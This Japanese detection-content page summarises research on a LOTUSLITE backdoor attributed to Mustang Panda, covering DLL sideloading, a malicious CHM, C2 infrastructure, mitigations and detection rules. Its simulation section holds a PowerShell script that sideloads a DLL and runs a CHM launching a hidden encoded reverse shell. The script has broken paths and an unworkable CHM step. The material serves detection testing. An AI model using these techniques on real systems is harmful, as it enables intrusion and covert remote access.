同じパケット、異なるトリック:マスタングパンダがインドの銀行セクターと韓国の地政学を攻撃
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Acronis 脅威研究部は、インドの銀行業界と韓国の外交関係者を標的とする新しい LOTUSLITE バックドアのバリアントを発見しました。 このマルウェアは、DLL サイドロードを通じて展開され、マルウェアを搭載した正規の Microsoft 署名済み実行ファイルによって悪意のあるライブラリが読み込まれ、その後、動的 DNS ベースのコマンド&コントロール サーバーと HTTPS 経由で通信します。 インフラストラクチャのパターンやトレードクラフトの重複に基づいて、研究者はこの活動を Mustang Panda に中程度の信頼性で帰属させました。
調査
アナリストは悪意のある CHM ファイル、JavaScript ベースのローダー、および署名された Microsoft_DNX.exe バイナリを調べ、LOTUSLITE ペイロードを搭載した DLL をサイドロードしました。 彼らの分析により、エクスポートされた関数、ミューテックス命名規則、コマンドライン スイッチ、パケット マジック値、API 解決方法の更新が明らかになりました。 チームはまた、再利用された Dynu 管理ドメインと関連する IP インフラストラクチャを通じて、以前の Mustang Panda キャンペーンとの関連を特定しました。
緩和策
防御者は、正規 Microsoft 署名済みの実行ファイルに対する許可されていない DLL の読み込みを防ぎ、ミューテックス パターンと修正されたコマンドライン引数を監視し、動的 DNS トラフィックに対する厳格な制御を適用する必要があります。 セキュリティ チームはまた、特異なパケット マジック値 0xB2EBCFDF を検出し、持続性を示唆する可能性のある不審な HKCU の Run キーの変更に注意を払うべきです。
対応策
このアクティビティが検出された場合、影響を受けたシステムを直ちに隔離し、悪意のあるプロセスを終了し、サイドロードされた DLL と悪用された実行ファイルをディスクから削除してください。 フォレンジック分析のためにメモリをキャプチャし、露出した資格情報を取り消し、識別されたコマンド & コントロール ドメインと IP アドレスをブロックする必要があります。 このキャンペーンに関連するミューテックスとレジストリベースの継続性のアーティファクトについて、環境全体でより広範な調査も実施する必要があります。
"graph TB %% Class definitions section classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodes action_initial_access["<b>Action</b> – <b>T1566.001 Spearphishing Attachment</b><br/>Malicious Compiled HTML Help (CHM) file sent via email."] class action_initial_access action file_chm["<b>File</b> – <b>Name</b>: Request_for_Support.chm<br/><b>Type</b>: Compiled HTML Help"] class file_chm file action_user_execution["<b>Action</b> – <b>T1204.002 User Execution</b><br/>Victim opens the CHM, triggering embedded JavaScript."] class action_user_execution action action_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>JavaScript drops a Microsoftu2011signed executable and a malicious DLL using ActiveX and hidden HTML."] class action_obfuscation action file_ms_dnx["<b>File</b> – <b>Name</b>: Microsoft_DNX.exe<br/><b>Signature</b>: Microsoft signed"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Name</b>: LotusLite variant DLL<br/><b>Type</b>: Dynamic Link Library"] class file_lotuslite malware action_embedded_payloads["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>CHM contains JavaScript (music.js) that extracts and runs the DLL and EXE."] class action_embedded_payloads action action_system_binary_proxy["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b><br/>Microsoft_DNX.exe proxies execution of the malicious DLL via LoadLibraryExW."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Action</b> – <b>T1127 Trusted Developer Utilities Proxy Execution</b><br/>Abuse of Microsoft_DNX.exe, a trusted .NET runtime tool, to run the backdoor."] class action_trusted_dev_utilities action action_script_proxy["<b>Action</b> – <b>T1216 System Script Proxy Execution</b><br/>Embedded JavaScript acts as a script proxy to launch the executable."] class action_script_proxy action action_hijack_execution["<b>Action</b> – <b>T1574.005 Hijack Execution Flow</b><br/>DLL sideloading by placing malicious DLL with the same name in the executableu2019s directory."] class action_hijack_execution action action_persistence["<b>Action</b> – <b>T1547.014 Boot or Logon Autostart Execution</b><br/>Active Setup writes a Run key under HKCUSoftwareMicrosoftWindowsCurrentVersionRun."] class action_persistence persistence command_and_control["<b>Command and Control</b><br/>Implant contacts dynamicu2011DNS domain editor.gleeze.com over HTTPS."] class command_and_control process %% Connections showing attack flow action_initial_access –>|delivers| file_chm file_chm –>|opened by victim| action_user_execution action_user_execution –>|triggers| action_obfuscation action_obfuscation –>|drops| file_ms_dnx action_obfuscation –>|drops| file_lotuslite file_ms_dnx –>|used in| action_system_binary_proxy file_ms_dnx –>|used in| action_trusted_dev_utilities action_system_binary_proxy –>|loads| file_lotuslite action_trusted_dev_utilities –>|executes| file_lotuslite action_user_execution –>|executes| action_script_proxy action_script_proxy –>|launches| file_ms_dnx action_obfuscation –>|enables| action_embedded_payloads action_embedded_payloads –>|provides| action_hijack_execution action_hijack_execution –>|facilitates| action_persistence action_persistence –>|establishes| command_and_control "
攻撃フロー
検知
パブリックユーザープロファイルでの不審なファイル (file_event 経由)
表示
持続性ポイントの可能性 [ASEPs – Software/NTUSER Hive] (registry_event 経由)
表示
パブリックユーザープロファイルからの不審な実行 (process_creation 経由)
表示
IOC (HashSha256) 検知:同じパケット、異なるマジック:Mustang Panda がインドの銀行業界と韓国の地政学に影響を与える
表示
IOC (SourceIP) 検知:同じパケット、異なるマジック:Mustang Panda がインドの銀行業界と韓国の地政学に影響を与える
表示
IOC (DestinationIP) 検知:同じパケット、異なるマジック:Mustang Panda がインドの銀行業界と韓国の地政学に影響を与える
表示
LOTUSLITE バックドア C2 通信の検出 [Windows ネットワーク接続]
表示
Microsoft DNX と HH.exe を介した LOTUSLITE バックドアの検出 [Windows プロセス作成]
表示
シミュレーション実行
前提条件: テレメトリー & ベースラインの事前チェックをパスしている必要があります。
理由: このセクションでは、検出ルールをトリガーするために設計された敵の手法 (TTP) の正確な実行について詳述しています。 コマンドとナラティブは、特定された TTP に直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目指さなければなりません。
-
攻撃の流れ & コマンド:
-
悪意のある DLL のステージング:
- 攻撃者は、悪意のある DLL (
lotuslite.dll) を正規のMicrosoft_DNX.exeと同じディレクトリにコピーします。 この DLL にはバックドアのペイロードが含まれています。
- 攻撃者は、悪意のある DLL (
-
Microsoft_DNX.exe を介して DLL のサイドローディングを実行します:
- 引数なしで
Microsoft_DNX.exeを起動することで、Windows は最初に悪意のある DLL を読み込みます (“検索順序”のハイジャックにより)、バックドアを実行します。
- 引数なしで
-
悪意のある CHM を作成:
- CHM ファイル (
evil.chm) が作成され、これはレンダリングされると、PowerShell リバースシェルを起動します。
- CHM ファイル (
-
JavaScript を hh.exe 経由でトリガーします:
- 攻撃者が実行します
hh.exe evil.chm, これにより HTML ヘルプ実行ファイルが CHM を解析し、埋め込まれたスクリプトを実行し、署名されたバイナリの下でのコード実行を達成します。
- 攻撃者が実行します
このシーケンスは、検出ルールの条件に一致する 2 つの異なる Sysmon プロセス作成イベントを生成します。
-
-
リグレッションテストスクリプト:
# ------------------------------------------------------------------------- # LotusLite スミュレーション – DLL サイドローディング + hh.exe CHM 実行 # ------------------------------------------------------------------------- # 前提条件: # - Sysmon がインストールされ、ログが転送されている。 # - 管理者権限 (プログラムファイルへの書き込みに必要)。 $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent # 1. 悪意のある DLL の展開 (シミュレートされたペイロード) $malDllSource = "C:Templotuslite.dll" # <-- 本物のペイロードパスに置き換えてください $malDllDest = Join-Path $dnxDir "lotuslite.dll" Copy-Item -Path $malDllSource -Destination $malDllDest -Force # 2. DLL サイドローディングをトリガーするための Microsoft_DNX.exe の起動 Write-Host "[*] Microsoft_DNX.exe の起動を開始..." Start-Process -FilePath $dnxPath -WindowStyle Hidden # 3. JavaScript を含む悪意のある CHM の作成 (簡略化された例) $chmPath = "C:Tempevil.chm" $htmlContent = @" <HTML><HEAD> <SCRIPT language=`"JScript`"> var shell = new ActiveXObject("WScript.Shell"); shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0); </SCRIPT> </HEAD><BODY></BODY></HTML> "@ $tempHtml = "C:Tempevil.html" $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII # Windows SDK ツールを必要とする HTML を CHM にラップするための makecab を使用 $makeCab = "$env:WINDIRsystem32makecab.exe" & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath # 4. hh.exe を介して CHM を実行します Write-Host "[*] 悪意のある CHM 上で hh.exe を起動..." Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden # 一時的なファイルのクリーンアップ (実行後の分析のために悪意のある DLL を保持) Remove-Item $tempHtml -Force Write-Host "[*] シミュレーション完了。" -
クリーンアップコマンド:
# ------------------------------------------------------------------------- # LotusLite スミュレーションのクリーンアップ # ------------------------------------------------------------------------- $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent $malDllDest = Join-Path $dnxDir "lotuslite.dll" $chmPath = "C:Tempevil.chm" # 悪意のある DLL の削除 if (Test-Path $malDllDest) { Remove-Item $malDllDest -Force Write-Host "[*] 悪意のある DLL を削除しました。" } # CHM の削除 if (Test-Path $chmPath) { Remove-Item $chmPath -Force Write-Host "[*] 悪意のある CHM を削除しました。" } # 必要に応じて残るプロセスを終了します (もしあれば) Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] クリーンアップ完了。"